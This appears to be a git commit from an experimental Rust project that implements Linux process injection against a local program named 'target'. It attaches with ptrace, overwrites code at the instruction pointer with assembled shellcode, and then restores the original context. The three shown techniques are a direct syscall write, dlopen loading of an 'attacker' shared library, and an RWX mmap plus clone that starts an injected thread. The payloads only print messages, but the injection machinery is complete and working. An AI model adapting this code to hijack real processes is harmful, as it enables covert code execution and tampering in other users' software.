[feat] exp

This commit is contained in:
rootacite
2025-10-23 04:35:36 +08:00
parent ffb4c13c72
commit cf524608a1
1562 changed files with 2906 additions and 5 deletions

View File

@@ -0,0 +1,10 @@
mod map;
mod processes;
pub use map::is_address_in_range;
pub use processes::get_pid_by_name;
pub use processes::read_memory_vm;
pub use processes::write_memory_vm;
pub use processes::write_memory_ptrace;
pub use map::first_rw_segment;
pub use map::module_base_address;

View File

@@ -0,0 +1,73 @@
pub fn is_address_in_range(addr: u64, range_strings: &Vec<&str>) -> bool {
for range_str in range_strings {
if let Some((start, end)) = parse_address_range(range_str) {
if addr >= start && addr < end {
return true;
}
}
}
false
}
fn parse_address_range(range_str: &str) -> Option<(u64, u64)> {
let parts: Vec<&str> = range_str.split_whitespace().collect();
if parts.is_empty() {
return None;
}
let range_part = parts[0];
let range_parts: Vec<&str> = range_part.split('-').collect();
if range_parts.len() != 2 {
return None;
}
let start_addr = u64::from_str_radix(range_parts[0], 16).ok()?;
let end_addr = u64::from_str_radix(range_parts[1], 16).ok()?;
Some((start_addr, end_addr))
}
pub fn first_rw_segment(range_strings: &Vec<&str>) -> Option<(u64, u64)> {
for range_str in range_strings {
let parts: Vec<&str> = range_str.split_whitespace().collect();
if parts.len() < 2 {
continue;
}
let perms = parts[1];
if perms.starts_with("rw") {
if let Some((start, end)) = parse_address_range(range_str) {
return Some((start, end));
}
}
}
None
}
pub fn module_base_address(range_strings: &Vec<&str>, module_name: &str) -> Option<u64> {
let mut base_addr: Option<u64> = None;
for range_str in range_strings {
let parts: Vec<&str> = range_str.split_whitespace().collect();
if parts.len() < 6 {
continue;
}
let path = parts.last().unwrap();
if let Some(filename) = std::path::Path::new(path).file_name().and_then(|f| f.to_str()) {
if filename.contains(module_name) {
if let Some((start, _)) = parse_address_range(range_str) {
base_addr = match base_addr {
Some(current_min) => Some(current_min.min(start)),
None => Some(start),
};
}
}
}
}
base_addr
}

View File

@@ -0,0 +1,160 @@
use std::collections::HashMap;
use std::fs;
use nix::sys::uio::{process_vm_readv, RemoteIoVec, process_vm_writev};
use nix::unistd::Pid;
use std::error::Error;
use std::io::{IoSliceMut, IoSlice};
use nix::sys::ptrace;
use std::mem;
fn list_processes() -> Result<HashMap<String, i32>, std::io::Error>
{
let mut processes = HashMap::<String, i32>::new();
let entries = fs::read_dir("/proc")?;
let dirs = entries.filter_map(|e| {
let e = e.ok()?;
let path = e.path();
if path.is_dir() {
return path.file_name()?.to_str().map(|s| s.to_string());
}
None::<String>
}).collect::<Vec<String>>();
for dir in dirs {
let Ok(pid) = dir.parse::<i32>() else { continue };
let pid_path = format!("/proc/{}/exe", dir);
let Ok(name_path) = fs::read_link(&pid_path) else { continue };
let name_path = name_path.to_string_lossy().to_string();
if let Some(name) = name_path.split("/").last() {
processes.insert(name.to_string(), pid);
println!("{} -> {}", name, dir);
}
}
Ok(processes)
}
pub fn get_pid_by_name(name: &str) -> Result<i32, std::io::Error>
{
let ps = list_processes()?;
Ok(ps[name])
}
pub fn read_memory_vm(pid: Pid, start_addr: usize, size: usize) -> Result<Vec<u8>, Box<dyn Error>> {
let mut buffer = vec![0u8; size];
let mut local_iov = [IoSliceMut::new(&mut buffer)];
let remote_iov = [RemoteIoVec {
base: start_addr,
len: size,
}];
let bytes_read = process_vm_readv(pid, &mut local_iov, &remote_iov)?;
if bytes_read == size {
Ok(buffer)
} else {
buffer.truncate(bytes_read);
Ok(buffer)
}
}
pub fn write_memory_vm(pid: Pid, mut start_addr: usize, mut data: &[u8]) -> Result<usize, Box<dyn Error>> {
let mut total_written = 0usize;
while !data.is_empty() {
let local_iov = [IoSlice::new(data)];
let remote_iov = [RemoteIoVec {
base: start_addr,
len: data.len(),
}];
let written = process_vm_writev(pid, &local_iov, &remote_iov)?;
if written == 0 {
return Err(format!("process_vm_writev returned 0 (no progress) after writing {} bytes", total_written).into());
}
total_written += written;
start_addr = start_addr.wrapping_add(written);
data = &data[written..];
}
Ok(total_written)
}
pub fn write_memory_ptrace(pid: Pid, start_addr: usize, data: &[u8]) -> Result<usize, Box<dyn Error>> {
let word_size = mem::size_of::<libc::c_long>();
if word_size == 0 {
return Err("invalid word size".into());
}
let mut addr = start_addr;
let mut remaining = data;
let mut written = 0usize;
if addr % word_size != 0 && !remaining.is_empty() {
let n = write_unaligned_head(pid, addr, remaining, word_size)?;
addr += n;
remaining = &remaining[n..];
written += n;
}
while remaining.len() >= word_size {
let n = write_full_word(pid, addr, &remaining[..word_size])?;
addr += n;
remaining = &remaining[n..];
written += n;
}
if !remaining.is_empty() {
let n = write_unaligned_tail(pid, addr, remaining, word_size)?;
written += n;
}
Ok(written)
}
fn write_unaligned_head(
pid: Pid,
addr: usize,
data: &[u8],
word_size: usize,
) -> Result<usize, Box<dyn Error>> {
let head_offset = addr % word_size;
let aligned_addr = addr - head_offset;
let orig_word = ptrace::read(pid, aligned_addr as *mut libc::c_void)?;
let mut bytes = orig_word.to_ne_bytes();
let copy_len = usize::min(word_size - head_offset, data.len());
bytes[head_offset..head_offset + copy_len].copy_from_slice(&data[..copy_len]);
let new_word = libc::c_long::from_ne_bytes(bytes);
ptrace::write(pid, aligned_addr as *mut libc::c_void, new_word)?;
Ok(copy_len)
}
fn write_full_word(pid: Pid, addr: usize, data: &[u8]) -> Result<usize, Box<dyn Error>> {
let mut arr = [0u8; mem::size_of::<libc::c_long>()];
arr.copy_from_slice(data);
let val = libc::c_long::from_ne_bytes(arr);
ptrace::write(pid, addr as *mut libc::c_void, val)?;
Ok(mem::size_of::<libc::c_long>())
}
fn write_unaligned_tail(
pid: Pid,
addr: usize,
data: &[u8],
_word_size: usize,
) -> Result<usize, Box<dyn Error>> {
let orig_word = ptrace::read(pid, addr as *mut libc::c_void)?;
let mut bytes = orig_word.to_ne_bytes();
bytes[..data.len()].copy_from_slice(data);
let new_word = libc::c_long::from_ne_bytes(bytes);
ptrace::write(pid, addr as *mut libc::c_void, new_word)?;
Ok(data.len())
}

View File

@@ -0,0 +1,22 @@
use std::io::{self, Write};
use std::thread;
use std::time::Duration;
#[ctor::ctor]
fn init() {
thread::spawn(|| {
let mut i = 0i64;
loop {
print!("[{}] I am injected library, I am running... \r\n", i);
io::stdout().flush().unwrap();
i += 1;
thread::sleep(Duration::from_secs(1));
}
});
}
#[unsafe(no_mangle)]
pub extern "C" fn dummy() {
}

View File

@@ -0,0 +1,254 @@
#![allow(unused_imports)]
mod helper;
use std::arch::asm;
use std::ffi::CString;
use nix::sys::ptrace;
use nix::sys::wait::waitpid;
use nix::unistd::Pid;
use std::fs;
use std::io::BufRead;
use helper::*;
use iced_x86::{code_asm::*, Instruction};
use iced_x86::code_asm::asm_traits::CodeAsmJmp;
use libc::{user_regs_struct};
use libc::{c_void, dlsym, RTLD_NEXT};
const GREEN: &str = "\x1b[32m";
const RESET: &str = "\x1b[0m";
fn inject1(pid: Pid, seg_rw: (u64, u64), regs: user_regs_struct) -> Result<(), Box<dyn std::error::Error>> // Simple injection
{
let injected_data = "You are injected. \r\n";
write_memory_vm(pid, seg_rw.0 as usize, &injected_data.as_bytes())?;
let mut asm = CodeAssembler::new(64)?;
asm.mov(rax, 1u64)?; // Syscall 1 (write)
asm.mov(rdi, 1u64)?; // Fd 1 (STDOUT)
asm.mov(rsi, seg_rw.0)?; // Buffer pointer (Here is rw segment in target)
asm.mov(rdx, injected_data.as_bytes().len() as u64)?; // Buffer length
asm.syscall()?; // Syscall interrupt
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
let injected_inst = asm.assemble(regs.rip as u64)?;
write_memory_ptrace(pid, regs.rip as usize, &injected_inst)?;
// Continue target
ptrace::cont(pid, None)?;
waitpid(pid, None)?;
Ok(())
}
fn inject2(pid: Pid, seg_rw: (u64, u64), regs: user_regs_struct) -> Result<(), Box<dyn std::error::Error>> // ld injection
{
// Get the absolute path to our shared library
let lib_path = fs::canonicalize("./target/debug/libproject_hbj_attacker.so")?.to_string_lossy().into_owned();
let cpid = nix::unistd::getpid().to_string();
// Read our own process memory maps to find libc base address
let self_maps = fs::read_to_string(format!("/proc/{}/maps", cpid))?;
let self_map_lines = self_maps.lines().collect::<Vec<&str>>();
let mut dlopen_offset: u64 = 0;
// Find libc base address in our own process
let Some(libc_base_local) = module_base_address(&self_map_lines, "libc.so") else
{ return Err(Box::new(std::io::Error::new(std::io::ErrorKind::Other, "libc not found"))); };
println!("{GREEN}[local]{RESET} libc base: {:#016x}", libc_base_local);
// Use dlsym to get the address of dlopen in our own process
unsafe{
let dlopen_addr_local = dlsym(RTLD_NEXT, b"dlopen\0".as_ptr() as *const _);
// Calculate offset of dlopen from libc base in our process
dlopen_offset = dlopen_addr_local as u64 - libc_base_local;
}
println!("{GREEN}[local]{RESET} dlopen offset = {:#016x}", dlopen_offset);
// Read target process memory maps to find its libc base address
let target_maps = fs::read_to_string(format!("/proc/{}/maps", pid))?;
let target_map_lines = target_maps.lines().collect::<Vec<&str>>();
// Find libc base address in target process
let Some(libc_base_target) = module_base_address(&target_map_lines, "libc.so") else
{ return Err(Box::new(std::io::Error::new(std::io::ErrorKind::Other, "libc not found"))); };
println!("{GREEN}[trace]{RESET} libc base = {:#016x}", libc_base_target);
// Calculate dlopen address in target process using the same offset
let target_dlopen_addr = libc_base_target + dlopen_offset;
println!("{GREEN}[trace]{RESET} dlopen address = {:#016x}", target_dlopen_addr);
// Start Inject
let c_lib_path = CString::new(lib_path).unwrap();
write_memory_vm(pid, seg_rw.0 as usize, c_lib_path.as_bytes_with_nul())?;
println!("{GREEN}[trace]{RESET} write {} to {:#016x}", &c_lib_path.to_string_lossy(), seg_rw.0);
let mut asm = CodeAssembler::new(64)?;
asm.mov(rdi, seg_rw.0)?; // Param 1: Filename
asm.mov(rsi, 2u64)?; // Param 2: Flag, 2(RTLD_NOW)
asm.call(target_dlopen_addr)?; // Syscall interrupt
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
let injected_inst = asm.assemble(regs.rip as u64)?;
write_memory_ptrace(pid, regs.rip as usize, &injected_inst)?;
println!("{GREEN}[trace]{RESET} write instructions to {:#016x}", regs.rip);
// Continue target
ptrace::cont(pid, None)?;
println!("{GREEN}[trace]{RESET} running...");
waitpid(pid, None)?;
println!("{GREEN}[trace]{RESET} int3!");
Ok(())
}
fn inject3(pid: Pid, seg_rw: (u64, u64), regs: user_regs_struct) -> Result<(), Box<dyn std::error::Error>> // thread inject
{
// Alloc rwx memory
let mut asm = CodeAssembler::new(64)?;
asm.mov(rax, 9u64)?; // Syscall 9 (mmap)
asm.mov(rdi, 1u64)?; // Addr
asm.mov(rsi, 4096u64)?; // Length, we alloc a page (4K)
asm.mov(rdx, (libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC) as u64)?; // Set protect to rwx
asm.mov(r10, (libc::MAP_SHARED | libc::MAP_ANONYMOUS) as u64)?; // Private and anonymous
asm.mov(r8, 01i64)?; // Fd (-1 because we want anonymous)
asm.mov(r9, 0u64)?; // Offset
asm.syscall()?; // Syscall interrupt
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
let injected_inst = asm.assemble(regs.rip as u64)?;
write_memory_ptrace(pid, regs.rip as usize, &injected_inst)?;
println!("{GREEN}[trace]{RESET} write instructions to {:#016x}", regs.rip);
// Continue target
ptrace::cont(pid, None)?;
println!("{GREEN}[trace]{RESET} running...");
waitpid(pid, None)?;
println!("{GREEN}[trace]{RESET} int3!");
let regs_after_map = ptrace::getregs(pid)?;
let page_addr = regs_after_map.rax as usize;
println!("{GREEN}[trace]{RESET} allocated page is at {:#016x}", page_addr);
let injected_data = "I am injected thread, I am running... \r\n";
write_memory_vm(pid, page_addr + 0x500, &injected_data.as_bytes())?;
write_memory_vm(pid, page_addr + 0x600, &1i64.to_le_bytes())?;
write_memory_vm(pid, page_addr + 0x608, &0u64.to_le_bytes())?;
asm = CodeAssembler::new(64)?;
// Construct inject payload
let mut target_label = asm.create_label();
asm.set_label(&mut target_label)?;
asm.mov(rax, 1u64)?; // Syscall 1 (write)
asm.mov(rdi, 1u64)?; // Fd 1 (STDOUT)
asm.mov(rsi, (page_addr + 0x500) as u64)?; // Buffer pointer (Here is page_addr + 0x500)
asm.mov(rdx, injected_data.as_bytes().len() as u64)?; // Buffer length
asm.syscall()?; // Syscall interrupt
asm.mov(rax, 35u64)?; // Syscall 35 (nano sleep)
asm.mov(rdi, (page_addr + 0x600) as u64)?; // Req
asm.mov(rsi, 0u64)?; //Rem
asm.syscall()?; // Syscall interrupt
asm.jmp(target_label)?; // Jmp back to loop
let injected_payload = asm.assemble(page_addr as u64)?;
write_memory_vm(pid, page_addr, &injected_payload)?;
println!("{GREEN}[trace]{RESET} write payload to {:#016x}", page_addr);
// Start Trigger
let regs = ptrace::getregs(pid)?;
asm = CodeAssembler::new(64)?;
asm.mov(rax, 56u64)?; // Syscall 56 (clone)
asm.mov(rdi, (libc::CLONE_VM | libc::CLONE_FS | libc::CLONE_FILES | libc::CLONE_SIGHAND | libc::CLONE_THREAD) as u64)?; // Flags
asm.mov(rsi, (page_addr + 0x800) as u64)?; // Stack top
asm.mov(rdx, 0u64)?; // parent_tid = NULL
asm.mov(r10, 0u64)?; // child_tid = NULL
asm.mov(r8, 0u64)?; // tls = NULL
asm.syscall()?; // Syscall interrupt
asm.test(eax, eax)?; // Syscall returns zero?
asm.jz(page_addr as u64)?;
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
let injected_trigger = asm.assemble(regs.rip as u64)?;
write_memory_ptrace(pid, regs.rip as usize, &injected_trigger)?;
println!("{GREEN}[trace]{RESET} write trigger to {:#016x}", regs.rip);
// Continue target
ptrace::cont(pid, None)?;
waitpid(pid, None)?;
Ok(())
}
fn main() -> Result<(), Box<dyn std::error::Error>> {
// Find our target program
let pid = Pid::from_raw(get_pid_by_name("target")?);
let target = fs::read_link(format!("/proc/{}/exe", pid))?.to_string_lossy().into_owned();
let content = fs::read_to_string(format!("/proc/{}/maps", pid))?;
let lines: Vec<&str> = content
.lines()
.filter(|&line| !line.is_empty() && line.contains(&target))
.collect();
for line in &lines {
println!("{GREEN}[memory map]{RESET} {}", line);
}
let Some(seg_rw) = first_rw_segment(&lines) else { return Err(Box::new(std::io::Error::new(std::io::ErrorKind::Other, "first rw segment not found"))); };
ptrace::attach(pid)?;
waitpid(pid, None)?;
loop{
// Single-stepping, so that RIP returns to the user space of the process itself,
// rather than in some other library
let regs = ptrace::getregs(pid)?;
if is_address_in_range(regs.rip, &lines)
{
println!("{GREEN}[trace]{RESET} Address: {:#x}", regs.rip);
break;
}
ptrace::step(pid, None)?;
waitpid(pid, None)?;
}
// Save context
let regs = ptrace::getregs(pid)?; // Save current registers
let buffer = read_memory_vm(pid, regs.rip as usize, 128)?; // Save current memory context
let buffer_rw = read_memory_vm(pid, seg_rw.0 as usize, 128)?; // Save current rw memory
// Do inject here
inject3(pid, seg_rw, regs)?;
// End inject logics
// Restore context
ptrace::setregs(pid, regs)?;
write_memory_ptrace(pid, regs.rip as usize, &buffer)?;
write_memory_vm(pid, seg_rw.0 as usize, &buffer_rw)?;
ptrace::detach(pid, None)?;
Ok(())
}